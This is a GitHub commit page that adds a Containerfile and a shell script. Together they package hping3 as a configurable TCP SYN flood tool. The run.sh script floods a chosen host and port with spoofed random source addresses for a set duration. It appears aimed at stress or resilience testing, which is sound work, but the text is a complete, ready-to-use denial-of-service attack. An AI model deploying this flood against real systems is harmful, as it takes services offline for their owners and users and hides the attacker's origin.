Skip to content

Commit

Permalink
script + containerfile
Browse files Browse the repository at this point in the history
Signed-off-by: Tullio Sebastiani <[email protected]>
  • Loading branch information
tsebastiani committed Jul 8, 2024
1 parent f48dfe6 commit d4e6a59
Show file tree
Hide file tree
Showing 3 changed files with 39 additions and 0 deletions.
14 changes: 14 additions & 0 deletions Containerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
FROM fedora:40

env TARGET $TARGET
env DURATION $DURATION
env TARGET_PORT $TARGET_PORT
env PACKET_SIZE $PACKET_SIZE
env WINDOW_SIZE $WINDOW_SIZE
USER root
RUN dnf update -y && dnf install --setopt=install_weak_deps=False -y hping3 && dnf clean all
WORKDIR /syn-flood
COPY run.sh run.sh
RUN chmod +x ./run.sh
#ENTRYPOINT ["/bin/bash", "run.sh", $TARGET, $DURATION, $TARGET_PORT, $PACKET_SIZE, $WINDOW_SIZE]
ENTRYPOINT ["/bin/bash", "run.sh"]
Empty file removed Dockerfile
Empty file.
25 changes: 25 additions & 0 deletions run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
#!/bin/bash

_TARGET=$TARGET
_DURATION=$DURATION
_TARGET_PORT=$TARGET_PORT
_PACKET_SIZE=${PACKET_SIZE:-120}
_WINDOW_SIZE=${WINDOW_SIZE:-64}


[ -z $_TARGET ] && echo "\$TARGET env var missing: Target host must be set" && exit 1
[ -z $_DURATION ] && echo "\$DURATION env var missing: Flood duration must be set" && exit 1
[ -z $_TARGET_PORT ] && echo "\$TARGET_PORT env var missing: Target port must be set" && exit 1

echo "TARGET: $_TARGET"
echo "FLOOD DURATION: $_DURATION"
echo "PACKET SIZE: $_PACKET_SIZE"
echo "TCP WINDOW SIZE: $_WINDOW_SIZE"
echo "FLOOD TARGET PORT: $_TARGET_PORT"

hping3 -d $_PACKET_SIZE -S -w $_WINDOW_SIZE -p $_TARGET_PORT --flood --rand-source $_TARGET&

HPING_PID=$!
sleep $_DURATION
kill -9 $HPING_PID
exit 0

0 comments on commit d4e6a59

Please sign in to comment.